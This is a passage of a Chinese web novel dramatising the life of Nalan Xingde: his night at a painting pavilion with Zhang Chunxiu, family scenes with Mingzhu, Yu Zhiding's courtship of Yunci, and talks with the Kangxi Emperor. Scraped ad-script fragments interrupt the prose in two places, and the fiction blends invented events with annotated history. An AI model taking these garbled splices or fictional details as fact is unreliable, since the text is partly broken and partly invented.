“但是你不同。”张纯修对着容若,摇晃着酒壶在胸前,“所以我谁都不谢,只谢你;我谁都不认,只认你。” 容若就跟是嵌入窗景里的人一样,自成一画。 他笑看好友的狂与痴,然后,赠了好友一首诗: 《与友危窗对坐》 清宵细慢未曾至,层云何处归月影? 长短多少任天真,独敲红梅诗外音。 东风供得双人心,烛台灯花动真情。 剑心酒意本相合,却作画中赏画人。 “容若,为兄和这个‘花鸟风月楼’永远只为你而开,候着你来。” “酒——”容若从窗台上下来,“我给你添上。” 张纯修执着容若的手,“千杯少,千杯少……” “未见张兄泥醉的模样,今日与张兄一同一醉方休又何惧?” “你别。”张纯修一下子清醒了,只坚定阻止道,“你的身子,不宜饮酒,只宜喝温水喝温茶,我都记着。” “此处没有温水温茶,喝冷水凉茶,跟饮酒本就无别。” “强词夺理。” “嗯。只敢在张兄面前强词夺理。” “容若。”张纯修对眼前的知音道,“为兄有一幅珍藏的画要与你共赏,乃是前明大家周之冕的《百花图卷》彩绘。” “那可是长卷啊!”容若面露欢喜,“张兄手中竟然有如此珍品,羡慕羡慕……” “为兄知道你最懂得惜花、品花和鉴花,所以等会儿你可不要吝啬自己的话语,多说说才好!最好是把长卷的八十余种花都一一辨别、叹赏……” “那——”公子豁达一笑,“纳兰今日就不顾什么家规家法了,与见阳【注1】一同,宿楼不归。” “哈哈哈,好!”张纯修与纳兰一拍即合,“得友如容若,足矣。” “张兄,我们赏画去。” “容若你先请——” * 明府。饭厅。 明珠看着平日里应该是容若坐着、今夜却空着的位置问:“这个家是有人比本官还忙吗?” 小揆叙和小揆方心里明白:阿玛的意思是,容若哥哥怎么晚到了? 觉罗氏担心容若病了,无力吃晚膳,就对管家道:“去叫袖云过来。” 等到袖云到了以后,明珠就迫不及待地问:“公子在干什么?” “回老爷,袖云不知。” “不知?”明珠一下子察觉出来了,“你的意思是公子如今在外头,出发前没告诉你具体去向,是吗?” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >袖云护主道:“公子只说过可能会晚归。” “晚归?”明珠双目一瞪,“本官看他是彻夜不想归!” “咱们儿子怎么会彻夜不归呢?”觉罗氏赶紧劝慰自己的丈夫,“容若一向懂事,” 管家问:“请了老爷的意思,是否现在去寻公子回来?” “不必。”明珠重新拿起了筷子,“容若要是知道自己的身份,自然知道自己做的对不对。否则你们去了,倒是显得我这个做阿玛的霸道,连半点自由都不肯给他了。” “袖云你回去吧。”觉罗氏心中惦念着儿子,“公子的素膳叫小厨房留意着就是。” “是夫人,袖云告退。” “你们不必多说什么。”明珠心不在焉地吃着饭,“我儿子我自己会管教。” “老爷,您就不担心容若……” “本官饭后就到容若的房间去候着他,他要是能让本官等个通宵,”明珠站了起来,深深呼吸了口气,又坐下,“本官就不得不请出家法来警告他:以后不得再犯!” “妾身以为,还是派人出去寻了容若回家好。一来省的老爷你动气,二来妾身是怕容若的身子受不了春宵夜寒啊。” “本官不许珠玉染瑕!” * 花鸟风月楼,容若在半夜的时候醒了过来。 抬头,窗外是一轮无星相伴的明月;低头,长榻侧面是一盘已经分出胜负的围棋。 容若点燃了蜡烛,留下一封书信后,就先一步离开了楼阁。 走出楼阁的那一刻,容若感受到了刺骨的冷。多走了几步,去牵马的时候,他亦敏感地发现,露水和夜雾已经扑湿了衣服的表层。 骑马的过程中,四周安静的可怕,唯有孤独感来的那么真实。 可是心里,却真的好渴望—— 回到家里以后,房间里的灯是亮的,袖云是没有合眼、一直在等着自己的。 或者贪心一些,假设沈宛就在明府,她在某处等自己、一声公子千万暖意。 渐行渐近,容若反而想笑自己,盼着那么多好事发生做什么? 一切光景,笑自己应知何事错,何苦等待渌水亭畔宛卿寒暄? * 容若下了马,看见的是松了一口气的看门家丁,听到的是“公子,您终于回来了”的松弦之音。 “不早不晚,这个时点我觉得正好。” 容若边说边往府内走。 家丁提醒:“老爷在公子的房间候着。” “你不必抢在我前头去报,我自己会跟阿玛解释和相处。” 容若这么说,本意是想叫家丁先去告知额娘自己回家了的消息的。 家丁忍不住叫了一声:“公子——” 容若回头看他,“怎么了?” “换做别家的公子,定是只做‘据理力争’和‘低头认错’两手准备,我家公子却是用了‘相处’一词,可见是有主意了,跟别家公子不一样。” “这样啊。” 容若还以为那个家丁是关心自己,不免有些失望。 * 房间里的灯亮着。 容若推门进去,先叫袖云过来为自己换了身便服,才去见了明珠。 “看儿的词作、经解、《渌水亭杂识》样章,阿玛可是觉得时间快过?” “不知不觉,已是快黎明时点。” “儿给阿玛请安,请阿玛不怪。” “起来。”明珠离开书桌,“跟阿玛一起到双人榻坐着,然后给阿玛一个不怪你、不罚你的理由。” “儿猜得到,昨日朝堂之上,索党之人肯定对皇上的‘抬旗’之举死谏,但是阿玛也一定以自己的方式维护了皇上的立场。” 坐下,说到一半,容若先吩咐了侍女:“袖云,早膳可以先拿来了,芹菜萝卜汤备上,其余照旧。” “儿去‘花鸟风月楼’找了张纯修,除了聊诗聊画之外,还淡酌了一杯碧螺春,稍嫌水冷,但是友情暖,中和着正好是温的。儿觉得知交难觅,所以珍惜一同交流的时间,就把原本应当归家的时间让了出来。” 明珠道:“你这个理由跟任性有何区别?” “儿说了实话是任性,不说实话不就成了随性吗?”容若笑道,“任性可以听阿玛教诲,随性就要挨阿玛家法,儿选择听——” 容若一手拉过明珠的手示好,另一手放在耳侧,做出了倾听的模样。 “就属你话术了得。”明珠做了罢,“下回再夜不归宿和不提前给阿玛打招呼,绝不轻饶。” “是,儿记下了。” “儿在‘花鸟风月楼’里逛了两遍,第一遍是张纯修领着,第二遍是离开前自己秉烛看的,有种感觉:内紧外松。” “一宿没在家里睡,糊涂了?”明珠笑问,“不是应该反过来,内松外紧吗?” “策略比方向重要呀阿玛!” 容若摆出见解来证明自己清醒的很: “皇上给张纯修抬旗、准许儿与他深交,就相当于向明眼人们透露出了一点:这以后,明珠才是‘花鸟风月楼’的最大掌舵人。皇上的目的,是想要你我父子来笼络一些信任大清的汉人士人们。” “所以这大方向皇上已经定了,咱们父子就该制定策略——外局有皇上担待,所以宽松;内局要靠策略来达成皇上所愿,有所吃紧。这就叫:内紧外松。” 明珠道:“阿玛想着,笼络汉人士人们的策略并不难。文人嘛,给足他们面子、尊重他们的风骨、让他们的才华有展露之地;让身性相近之人惺惺相惜,以一带十,以十带百,在圈子里安分守己……也就是了。” “这不对。”容若摇头,“阿玛您没看明白‘内局吃紧’关键,让汉人士人对大清产生好感,那不叫策略而叫安抚。您要专心致志去琢磨的是:别让皇上把您作为重臣的‘分忧’之心,错当了‘分权’之嫌。” “容若,听你一席话,阿玛大悟啊!” “那儿算不算是将功补过了?” “在规矩上是,但在阿玛心里,你没错。”明珠心生感慨,“幸好阿玛没有一见你就冲你发火,不然伤了你、伤了父子和气,阿玛哪得你这些肺腑金言?” “那接下来的定策之事,咱们父子找时间再好好说说。” “好,先吃早膳。”明珠给袖云递了眼色,示意她可以叫人把准备好的饭菜端进来了,“那些事过后再说。” 【注1】 见阳,是张纯修的号。 史实:纳兰性德曾与张纯修一起,在高楼(实际为康熙皇帝借机暗赐明珠所有)第三层——论王维诗作、赏明代大画家周之冕的《百花图卷》,盎然不绝,一侃通宵,天明方尽兴而归。 68.第68章 父子一起吃过早膳,觉罗氏就带着揆叙和揆方一同进来。 她看见容若没有什么事,明珠的心情也不错,悬着的心总算放了下来。 “儿让额娘担心了。” “额娘倒是盼着你阿玛能多给你一些自由,不该把你的行动时时处处管着。” “夫人,日后容若娶了妻,就轮不到本官管着他了。”明珠笑了笑,对容若道,“皇上都快要当皇阿玛了,你还没有娶妻,这不妥。” “阿玛的意思是?” “你不愿娶太皇太后有意的卢氏那就罢了,阿玛觉得云辞格格倒是不错,你俩也彼此存着好感。” “云辞格格喜欢禹画师。”容若没对家人瞒着,“她跟儿的关系,不是互恋而是互友。” “我们觉得云辞姐姐很好。”小揆方道,“是吧揆叙哥哥?” “是啊。”揆叙点头呼应,“容若哥哥跟云辞姐姐要是在一起,明府定是热闹,日后要是有洋人来拜访,阿玛就是放眼看西洋的第一官!” “西洋之术确实有可取之处。”容若巧妙地把话题一转,笑问家人们,“阿玛额娘,揆叙揆方,你们说我要不是当个——让西医根治寒症的第一人?” * 瓜尔佳府邸。 云辞带着禹之鼎一起参见了阿玛朴尔普。 朴尔普指着眼前人:“禹画师,你怎么有脸来本官府上?” “学生的脸面厚着呢!”禹之鼎不卑不亢应道,“学生是为云辞格格来的,请朴尔普准许学生追求——” “等等!”朴尔普打断,“你知道自己在说什么吗?” “学生跟云辞格格两情相悦,画意情意相投,不拘门第差别……” “住口!”训完禹之鼎,朴尔普看向女儿,“是你跟禹画师说门第无别的?就算是以后禹画师出息了,也不可避免血统之别!” “阿玛,出身和血统又不是人能挑的,你觉得你拿出来反驳禹画师的理由成立吗?照女儿看,你就是自私和虚荣。” 朴尔普生气:“你为了个情郎,敢当面骂父?” “女儿连皇上都敢骂!”云辞性子直,“也不能说骂,只是在陈述事实。” “你——”朴尔普无奈一叹,“阿玛问你,纳兰贤婿骂过皇上吗?” “女儿不知道。” 可云辞转念一想,照着容若的性子,应是如此:“但是皇上要是做出了不利于国民的举措,公子定会铮铮相挽相谏。” 管家匆匆而来:“老爷,外头有人求见。” 朴尔普大手一挥,“除了皇上和纳兰贤婿之外,本官谁也不见。” “是索额图家的二公子格尔芬来了,说是要给云辞格格送一束花。” 朴尔普一惊,“他送花做什么?” 管家不假思索道:“自然是好花配美人,讨格格欢心。” “你替本官去谢了索二公子和谢了索额图大人,就说云辞不在家,叫索二公子先回去吧!” “那花要不要收啊,老爷?” “要啊!不但要收下,还要养好。” 朴尔普指着禹之鼎,嘲笑道:“禹画师,你现在看清楚没有?我女儿云辞,那是被明珠大人和索额图大人的公子两两放在心上的人,你拿什么跟纳兰贤婿和索二公子比啊?” “学生有一颗真心。” 朴尔普一口茶喷笑了出来,“你是个汉人,你要是能像张纯修那样把旗籍抬入到上三旗,本官还可以留你一个候选机会。可是你,一个工笔人物画家,将来能有什么出息?能给子女带来什么世袭荣耀啊?你怕是连我瓜尔佳氏一族的老本都啃不动……” 禹之鼎朗朗自信道:“学生不止是个画家,现在研究西洋之术,也算是个锐意进取的改革家!” “改革?你这是想搞变法还是怎么着?”朴尔普上下打量着眼前人,“你有给皇上支招和推行新策的本事吗?” “我是大清开涉西洋画创作、研究、研讨、辨意的第一人。”禹之鼎踏出一步,抬头挺胸,“改革何须在庙堂?平凡官位亦可分君忧。” “大清是需要像你这样有理想的年轻人,但是我瓜尔佳氏一家不需要无益于家势的亲事。禹画师,本官现在给你两条路:第一,知趣地从本官面前消失;第二,留下来在本官府上吃顿饭,好好感受自身的差距在哪儿!” “学生选择留下。” “好!”朴尔普大声一喝,“来人,把禹画师的碗筷摆上,但他的座次不能挨着云辞!” * 禹之鼎和云辞的座位之间,间隔着一张空凳子。 面对朴尔普的做法,云辞终于忍不住道:“阿玛你没把禹画师当桌上客,可是女儿的情意却没有被这明显的界线所阻隔。” “女儿啊,咱们满人家的待嫁格格,规矩可比汉人家的阁中小姐要少多了。”额娘章佳氏温和道,“本来这未谈婚论嫁的男女,就不该同坐一桌。你阿玛的做法,已经是给你和给禹画师留够颜面了。” 桌上无酒无茶水,禹之鼎忽然郑重地端起碗,对朴尔普和夫人章佳氏道:“禹之鼎敬未来的岳父岳母一碗汤!” 朴尔普和章佳氏大惊:眼前之人,太大胆了,有何资格这么叫? “你信不信你再说错一句话,本官就叫人来把你撵出去?”朴尔普冷问,“不但赶了你走,更要罚了云辞!” 禹之鼎自己把碗中汤一饮而尽,道:“好汤,学生感激不尽!” “这是鲜鸡炖鲍鱼干贝汤,能不好吗?”连管家都忍不住道,“禹画师你不该有点自知之明:谨小慎微地吃饭吗?频频主动地卖弄自己,将我家老爷和夫人置于何地?” “承蒙未来的岳父岳母大人招待,学生回到如意馆之后,必将一个细节不敢错过地把今日的《赴宴图》画下来,一式两份,分作自己和云辞格格留念。” “老爷,奴才看禹画师语无伦次,像是心中已经疯魔!”管家询问,“是否将他带下去或者轰出府去?” “不可。”朴尔普自有主张,“禹画师虽然跟本官心中的贤婿纳兰性德所不能比,但是能让本官见识见识这嘴上功夫,也是他的造化。” 禹之鼎压根不会妒纳兰,所以不管朴尔普嘴上怎么说纳兰比他好,他也不愠不怒。 餐桌上的众人只听见他道:“学生近来不但画画,而且集画,从先辈画师手中得来太祖爷努尔哈赤的《秋日猎鹰图》一幅,图中恰好有太祖爷手下的猛将费英东和图赖伴驾同行,好是威风凛凛!学生以为,此画当归瓜尔佳氏一族所有,所以特意带了过来,献给费英东和图赖的孙辈朴尔普大人。” 朴尔普大喜,他是何等看着家族荣耀之人?瓜尔佳氏一族对太祖爷努尔哈赤忠心耿耿,舍生忘死,才换来了今日的繁荣昌盛,要是能够珍藏一幅有太祖爷盖章的真迹,岂非大大彰显了门第? “禹画师,你把画呈上来。” “禹之鼎给未来的岳父大人献画!” 朴尔普的注意力全在画轴上,也不怪禹之鼎怎么称呼自己了,就起了身,双手慎重地打开画轴来看。 画中人物,果然栩栩如生! “夫人你快过来看,这就是我的先祖的费英东和图赖啊!他俩在这儿呢!”朴尔普激动地对着画上的人物叫唤起来,“真跟他俩就站在我面前一样啊……” “是啊老爷。”章佳氏见多了家里的功臣画像,这么一对比,“真的是瓜尔佳氏的先祖无错了,而且,费英东和图赖是离太祖爷最近的呢,太祖爷的注意力不在老鹰,而在两位先祖身上啊!” “一定要将此画拿到祠堂,好好供奉。” “是,妾身明日亦会抄写经书,为太祖爷努尔哈赤和瓜尔佳氏一族的两位先祖歌颂功德。” “阿玛。”云辞叫了一声,“禹画师如今可是把自己的宝贝都毫不吝啬地给你了,你可不许再视他为无能之辈或是无用之人了。” “禹画师。”朴尔普的态度立刻变得客气起来,“你可堪大用啊!日后定要好好发挥本事侍奉在康熙皇帝身侧,拿下随驾出行、巡查、征战的机会,把帝王之姿好好画下,以光耀皇上的伟业!” “学生谢未来岳父大人的教诲。” “太祖爷和我瓜尔佳氏一族的两位先祖保佑着你,你的前途不可限量。” 朴尔普把画轴暂且放在了夫人章佳氏手中,上前拍拍了禹之鼎的肩膀。 朴尔普在话中放下了一个钩子,道:“禹画师,之前本官不把你放在择婿的范围之内考虑,如今不同了——” 禹之鼎和云辞一并看到了希望,同声问道:“现在如何?” 朴尔普狡诈一笑,“现在本官自然也是没有改变过只把纳兰性德当唯一女婿的定论,只是准了禹画师你进入本官的这道家门了。日后你要是得了其他跟太祖爷相关的好东西,可不要忘记拿来给本官看啊!” 云辞对父亲的态度大失所望。 “阿玛,你这是见利忘义!” “女儿,你怎么说话呢?”朴尔普狡辩道,“阿玛对禹画师是刮目相看,不知道他还有藏画的本事。从某种程度上说,这本事可比会画画厉害多了。” “你分明是在利用他为家族添彩。” “这有何不妥?”朴尔普看向禹之鼎,“你说——” “学生以为,若是以后能够成为瓜尔佳府邸的上门女婿,自己的用武之地会更大,不会只拘束于作画和藏画,没准能够上阵杀敌或是前往它国宣旨颂我皇恩也未可知。” “你想去宣旨?”朴尔普大笑,“那是施琅那样的武夫才本事向宝岛干的事情,你不要异想天开!” “学生要去更远的地方!学生是认真的。” 这下子连云辞也以为禹之鼎是被阿玛气疯了,遂问:“禹画师,你想去哪里宣旨?” 禹之鼎心怀美好憧憬:“琉球。” 云辞一摸禹之鼎的额头,竟是常温。 她试着辨析道:“出使琉球跟宣旨琉球是两回事啊!禹画师你……”又转向朴尔普,“阿玛,都怪你,把禹画师逼成这样不知所想。” 然而,云辞并不知道—— 其实禹之鼎没有胡说八道,更没有想入非非,他将自己的目标付诸实践,在康熙二十一年到二十三年之间,确实是身负皇命出使了琉球。 只是,等到禹之鼎回来之时,距离容若仙去仅仅一年,他所能留给容若的,也只是一幅呕心沥血、声泪俱下的肖像画【注1】而已。 接下来直到饭局结束,禹之鼎跟朴尔普之间的相处还算顺利。 跟云辞告别时,禹之鼎恋恋不舍道:“云辞,我舍不得走,但是有句话不知道该不该问你?” 云辞送禹之鼎走出了好长一段路,道:“跟纳兰相关?还是?” “不是。”禹之鼎驻足,“那个……索二公子格尔芬给你送花,是怎么回事?” “你理会他做什么?”云辞忍不住笑,“我只当他是凭借心情这么做,不当他想表白,毕竟他在纳兰面前说过:对云辞一见钟情,但不求爱尔得尔。” “我算不算是多了一个对手?” “当然不算啊!”云辞信誓旦旦道,“我心里只有禹画师你一个人,我阿玛只认纳兰一个‘贤婿’,而纳兰又不跟你抢我,所以禹画师你没有情敌!” * 容若凭着记忆彩绘了半卷周之冕的《百花图卷》,然后就觉得自己像是犯了春困一般,倦倦想睡。 “我原本想进宫去见皇上,但是觉得乏累,宁愿作罢。” 容若坐倚在窗户边,窗台上摆着几块自己收集的纹路独特的小石块。 “公子进宫是为了什么事?” 袖云拿着一只团扇陪伴在侧,轻摇为公子解困。 “皇上非说赫舍里皇后怀的是小阿哥,要跟我商量着给小阿哥取名。我说带个‘承’字好,既有‘承恩’圣诞为嫡长子之喜,又有开启后续福报之缘。皇上大喜,提笔就写下了:承祜二字。” “可是——”容若说起当时场景,略遗憾略摇头,“梁九功梁公公看错了眼,把‘祜’字念成了‘枯’字,说:‘万岁爷,承枯这个名字好啊,奴才这就去告诉太皇太后和皇后娘娘。’皇上立刻就来了气,怒喝:‘梁九功你大胆!成枯?未能健康成长而被催枯,你是在咒朕的嫡长子会夭折吗?来人,拖出去打十二大板!’我想劝皇上,皇上就先一步一并责了我:‘纳兰性德,你也给朕滚!朕现在心情不佳,你再不走,也一并领十板子去!’所以我就回家了。” “现在事情过去了三天。”容若琢磨着,“也不知道皇上的火气消了没有?小阿哥的名字会不会变?” 袖云道:“公子择字妥当,皇上选名也合适,想来小阿哥的名字会照着‘承祜’来定。” “我呢,希望小阿哥无病无灾地长大成人,最好是惠儿也能尽快有身孕,那小阿哥就能有个玩伴。” “公子怎么也跟皇上一样,当惠嫔娘娘要生的第一胎也是小阿哥了?” “阿哥或者公主都好,皇家本就该多子多福。” “公子可想过自己要怎么当个好阿玛?” “虽是远了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些,但是我希望能找到‘一家子’的感觉。不管是正妻、侧室,还是侍妾,不管是所得是男孩还是女孩,一起生活,一家子长岁安宁、平和喜乐就好。” 这么说的时候,容若脸上带着憧憬和微笑。 ——皇上要雨露均沾整个后宫,我只需面对八旗制度里的“一妻四妾“就好,比皇上轻松多了。 ——皇上要考虑立储之事,我只需像阿玛培养我一样、尽心栽培子嗣就好,比皇上少费神多了。 容若坐回画桌,提笔在半卷忆绘的《百花图卷》的空白处写下一首词。 《千秋问·卷上花》 春心尽处尽沾衣,细雨忍扫忍向窗。参差生长百花艳,本应着泥,扎根离轴卷。曲陌斜晖,嚼觉慵懒味,一笔罢却。 锦茵多絮摇风散,落出空容,芳菲岂能事均匀?神游如此,无需返,惠风存。神女寻路去潇湘,醉拍霓裳倒金樽。还看,从不凋零此花身,渗纸半寸。 * 数日后。 养心殿内,玄烨一见纳兰主动来了,忍着满心欢喜,对他嘲讽了一番: “你在家读书编书吹渌水亭的风,可真闲啊!知道明珠和索额图在朕的朝堂上如何互不相认、互不相服吗?你说朕支持你,还是心疼皇后好?一个是你阿玛,一个是皇后的叔父。” 纳兰来到玄烨身边,一边拿起解题稿纸来看、一边回应道: “皇上要是把明索两党的头领和将领都看清了,还能用谁啊?只会觉得人人都带着一身毛病,不堪多用和重用。” “你完美。”玄烨抬头,“朕用你不是正好?” “皇上要是打着心底里愿意,臣自然是万死不辞。” 只是纳兰心里清楚:碍于明珠的权柄和权重,康熙皇帝是不可能向自己这个侧臣倾斜太多的,一切“重用”之言,无异于是一张无法兑现的银票。 此时,梁九功从外头进来,跪地道:“奴才命大,回来养心殿伺候万岁爷和纳兰公子了!” 玄烨问顾问行:“顾总管,梁九功是你的徒弟,你有何话说?” 顾问行道:“回万岁爷,梁九功看错说错您给嫡长子取的名字,实在是罪该万死!但是看在他已经反省过了的份上,就罚了他的月俸算完吧?” “好!”玄烨看着跪地之人,“梁九功,朕的嫡长子的名字是朕跟纳兰一并取的,有朕的才略和纳兰的文采,将来必将成为众阿哥中的佼佼者,继承——” “皇上,”纳兰叫了一声,“臣以为梁公公已经明白你的意思了,不必把话说全。” ——否则,“继承大统”这四个字说出来,不利于后宫安宁,也不利于前朝人心稳定。臣要是不打断,就是没尽责。 梁九功磕头道:“奴才谨记万岁爷的话!谨记万岁爷的嫡长子名叫:承祜。” “你下去吧!等板子打过的地方都痊愈了,再回来。” “奴才谢皇上。”梁九功感激涕零地退下了。 * 菩提树下。 玄烨跟纳兰一并坐下,背靠大树主干。 “朕的皇阿玛偏爱董鄂妃,在董鄂妃诞下皇子的时候,竟然欢喜大叫:‘朕的第一子诞生了!’结果董鄂妃的儿子终究是福薄,早早夭折。朕一定不要做皇阿玛那样的皇帝,赫舍里皇后能够怀上嫡长子是朕的福气,朕要拼尽全力保她们母子平安、保承祜顺利成长。” 说着,玄烨又开明地道出一句话来:“朕也会多去惠嫔的延禧宫,让她也早日诞下皇子。” 纳兰问:“臣想问皇上,为什么急着给嫡长子取名?” “方便叫。也能让大家有个共识:康熙皇帝重视皇后,重视嫡出。” “太皇太后和皇后娘娘对‘承祜’这个名字,满意吗?” “很满意。朕原本想改,但是改不动啊……你一字珠矶,朕一字定意,承祜二字,再好不过。” 纳兰半仰着头,看着天际。 “虽然平日里被叫‘纳兰’或者‘容若’多,但臣跟朋友之间通书信,一概署名都是:成德。‘成德’这个名字是阿玛明珠取的,来自《易经》,君子以成德为行,日可见之行也。【注2】” “这是《易经》里的乾卦呀!乾就是天,天子就是朕,明珠有先见之明,叫你好好辅佐朕。” 玄烨来到纳兰面前,拉下了纳兰仰望的目光,他让他水平注视着自己,道:“纳兰,你的举止和言行,都堪称完美的表率,你在成就自己的德行之名的同时,不可忘记朕和朕对你的期待。” “阿玛饱读诗书,给我取过一个小名叫冬郎。俗人们只当是我出生在寒冬腊月所以那么叫,皇上可知道我阿玛的用意?” “你爱李商隐,所以朕为了你也深读和细拆李商隐的诗。其中有这么一句:桐花万里丹山路,雏凤清于老凤声。用的是‘雏凤声清’的典故,韩偓小名:韩冬郎。明珠希望你从小就是个像韩冬郎一样的神童,时至今日,你名满天下,早就胜过韩冬郎千万倍了。” “幸好皇上从未叫过我:冬郎。”纳兰对玄烨抱着些感激,“因为我不喜欢参照物,我就是我,犯不着跟韩偓做比较。” “朕永远叫你:纳兰。” “什么时候有机会,皇上也给我一个特权:直呼‘玄烨’这个名字吧?” “你现在不是已经把朕的名字叫出口了吗?算作是第一次用了特权。” 在君臣的笑声中,纳兰没有想到—— 接下来。 自己的名字“成德”,竟然被父亲明珠打破了一向的理解。 自己……的的确确是被明珠的某些话【注3】伤到了。 伤的深,甚至叫袖云去拿了救心药来服……才将苦楚缓解过来。 【注1】 肖像画:是指禹之鼎画的《纳兰君笑颜图》 画中纳兰容若面带微笑,笑容被禹之鼎不经意地捕捉,遂当面成画。容若之所以会笑,背景是:自己把围棋老师凌元焕推荐给吴祚兴做幕僚。这是容若成人之美,所以在辞别凌元焕的时候,难得一笑。之后不过数月,容若就仙去了。 《纳兰君笑颜图》先由凌元焕保管,后归顾贞观所有。 【注2】 这句话的意思是:君子把修养、成就道德作为自己行动的目的,每天都体现在行动上。这是对“纳兰成德”的名字的释义,“成德”暗示品行高洁的他,当之无愧是:大清第一陪臣、康熙第一侧臣。 【注3】 明珠对容容说了什么,见第70章《明珠管束儿备考,皇后顺利诞嫡子》 69.第69章 沈宛坐在“花鸟风月楼”的一处安静地方喝茶。 此处虽然改装工事还在继续,但是也腾出了地方隔音和赏雅,留作客用。 沈宛捧茶遐思,回忆起前几天发生的一幕“幸福满足”但又“惊险刺激”之事。 那一夜,沈宛悄悄潜入明府,在窗外看见了趴在《百花图卷》上睡着了的容若。在心里默叫了一声公子名字,苦于看不清公子写在卷轴上的新词,她就决定大胆入室,到公子身边去。 须知道,此刻不是深夜,而是晚膳之后。 也就是说,公子的父亲明珠、两个小弟弟和贴身侍女袖云等人,随时都有可能出现,万一被发现或是被“拿下”,那真是像惠儿说的那般:“沈宛,表兄迟早会被你害死!” 沈宛俯身,一时心中怦怦跳,竟不知道自己是想看公子的新词《千秋问·卷上花》,还是想亲吻公子的脸颊。 ——我怎么会有这样大胆的想法呢?女子应该温柔内敛、知书达理才是。 她垂眸,注意力全部集中在公子脸上,承认了自己的内心所想。 沈宛在容若耳边道:“公子,我喜欢新词里的这句:从不凋零此花身,渗纸半寸。” 公子未醒,倒是窗外:明珠的身影渐近。 沈宛一惊,叫醒公子也不是,立马出逃也不是,只能以“躲”为上计。 ——如何躲? 沈宛一看公子房间,唯有躲进公子的床上合适。 ——公子定是不会怪我,公子亲口说过我可以躲进他的鹅暖被里。【注1】 沈宛动作轻巧而迅速,赶在明珠敲门进来之前,上了公子的舒适软床,半卷春季薄被,只敢留一条小细缝往外看。 明珠前脚刚进屋,侍女袖云也端着洗脸盆和脸巾进来了。 明珠站在容若身侧,问她:“公子常困?” 袖云走近,一边叫醒容若、一边给明珠回话道:“近来是如此,身累和春困皆有之。” “阿玛?”容若起身行了个礼,“儿给阿玛请安。” “过来瞧瞧你。”明珠声线缓和,“困了的话,早些回床上去歇着。” 容若从袖云手中接过脸巾来擦了擦,道:“谢阿玛关心。” 或许是见儿子该养着精神,明珠便不打算久留。 “袖云,去把公子的床被理一理。”明珠吩咐道,“早些与公子安置。” 容若往床铺一看,立刻发现了与往日的不同,鹅暖被虽还是叠着,但似乎比平时“厚”了些,难道……是宛卿躲在里面?不然,没有理由如此。 “不必了。”容若对袖云说完,马上又对明珠道,“儿马上去睡。” “怎么?”明珠存了疑惑,“神色慌张?” “儿没有。” 容若一低头,看见了桌面上的《百花图卷》的新词的最后一句上面的触痕。原来,宛卿真的来过,她真的在,此刻真的在我身边呀! 明珠问向侍女:“公子怎么了?” “喜老爷关心罢了。”袖云微笑道,“原本袖云也跟公子一样,以为将是一夜父子长谈,却不想老爷放了手,许了公子就寝。” 明珠径直向床铺的位置走去,他不知道自己在疑什么,只是觉得可疑,不然一向矜持稳重的儿子,不可能出现紧张的神色。 “阿玛,”容若站在书桌边,没有走近,“春色不着锦被,不妨来看儿画的《花卉图》好。” “夜间看花无趣。”明珠摇头,明珠指着鹅暖被,“春夜寒凉,难免叫阿玛觉得这被子不止一重。” “一卷花卉淡,一床鹅被浓,儿的心思才起,叫阿玛错付了床铺上去。” “罢了,你早些休息,阿玛不扰你了。” “是。阿玛晚别。” 等到明珠离开,又找了个理由支开袖云,容若才真的坐到了床边,对着鹅暖被温声道:“没事了,宛卿你出来吧。” 沈宛坐在容若身侧,低头道:“公子要是觉得我错了,就说我几句。” “宛卿没错,如果我没及时阻止阿玛,那才叫错。” “我只是,爱上了公子词,也爱上了公子的人,才会这般执着、这般不顾。” “我亦喜欢这样的宛卿,不管宛卿以何种方式来、何时出现,我都护得宛卿周全。这里是我家,别当做是龙潭虎穴就好。” “明府这么大,我来过这么多次,却还没逛全。” “那——”容若笑道,“我给宛卿画图吧!宛卿想要明府地图?还是俯瞰的全景图?” “公子就这么相信我?”沈宛惊讶,“不怕我把明府的地图倒卖给‘朱三太子余党’或是‘南明逆贼’?我可是个汉人。” “不怕。”容若的额头跟沈宛相对相碰,“宛卿跟我说话的时候,目光始终直视着我,所以我知道宛卿不会出卖我、不会害我。” 沈宛感受着容若温暖的呼吸,闭眼,与他安静相拥。 天外,点点疏星,一轮明月似钩。 室内,脉脉柔情,一对鸳鸯如扣。 当从这些回忆当中走出来时,沈宛手中的茶盏已经饮尽。 她方觉,容若只喝温水温茶是有道理的,热饮待人、温饮养人,若是情感炙热值得相思相待,那么:回忆点滴,情转成画,画复传情,最相侬、最相温。 从三楼下来,沈宛从一对伙计的对话当中听得: “你去按照公子的意思办,仔细着点,不要出差错。” “是,定成不败。” 沈宛心中猜测:那人口中的“公子”是否就是指容若,容若遣人对“花鸟风月楼”的伙计做了什么指示?有什么目的? 或者说,直白一些: 这座楼阁、这个场子,除了坐镇之人张纯修以外,对容若的意义是什么?容若是不是有非这么托人办事的理由不可? * 另一边。 官云辞邀了禹之鼎一并去明珠名下的“饮水词歌·素菜馆”。 她不仅想请禹画师吃馆中上新的新菜,更是自己也做了一道菜,放在食盒里带来了,要跟意中人一起品尝。 入馆,到已经预定好的、名唤“雨霁天明”【注2】的雅室坐下,禹之鼎不免想起纳兰生日之时,于成龙刻意来闹之事。 “于成龙总说这个素菜馆有猫腻,也不知道他被贬谪之后,有没有人大胆来查过这个馆子的黑白?” “这个馆子虽是明珠所有,但一直是公子在管,照着公子的人品和雅趣,能查出什么来?即便是有,也是刻意栽赃。” “云辞,你怎么会想到来这里?” “想清静一些,也想吃素。”云辞感受着此中环境,“关键是呆在这里,闻着禅香、听着禅音,心里自在。” “这里的东西贵吗?”禹之鼎没敢一下子拿起菜牌来看,“我要不要画几幅山水写意画来给纳兰做酬?” “看你怎么去定义。”云辞主动把菜牌放进了禹之鼎手里,“跟公子沾边的东西,自然都是贵;但是跟公子的慈悲心放在一起的东西,就是正常的市价。公子管着这家素菜馆,又不是为了赚钱,真正向善和发出菩提之愿罢了。” 看过菜牌之后,禹之鼎就心里有数了。 纳兰还是个慈航驭舟、莲随水痕开的谦谦君子。 他的清逸小字,他的淡着小画,他的菜肴命名,还有他对雅室的布局,无一不是一个“真”字和一个“雅”字。 唯他: 拟天随性,不欺温润。明月侵衣,清风满怀。 素心春色,渌水自碧。星影眠躯,心悦万花。 “平头百姓进的来吗?” 禹之鼎问了一个看似有答案、却偏要得证的问题。 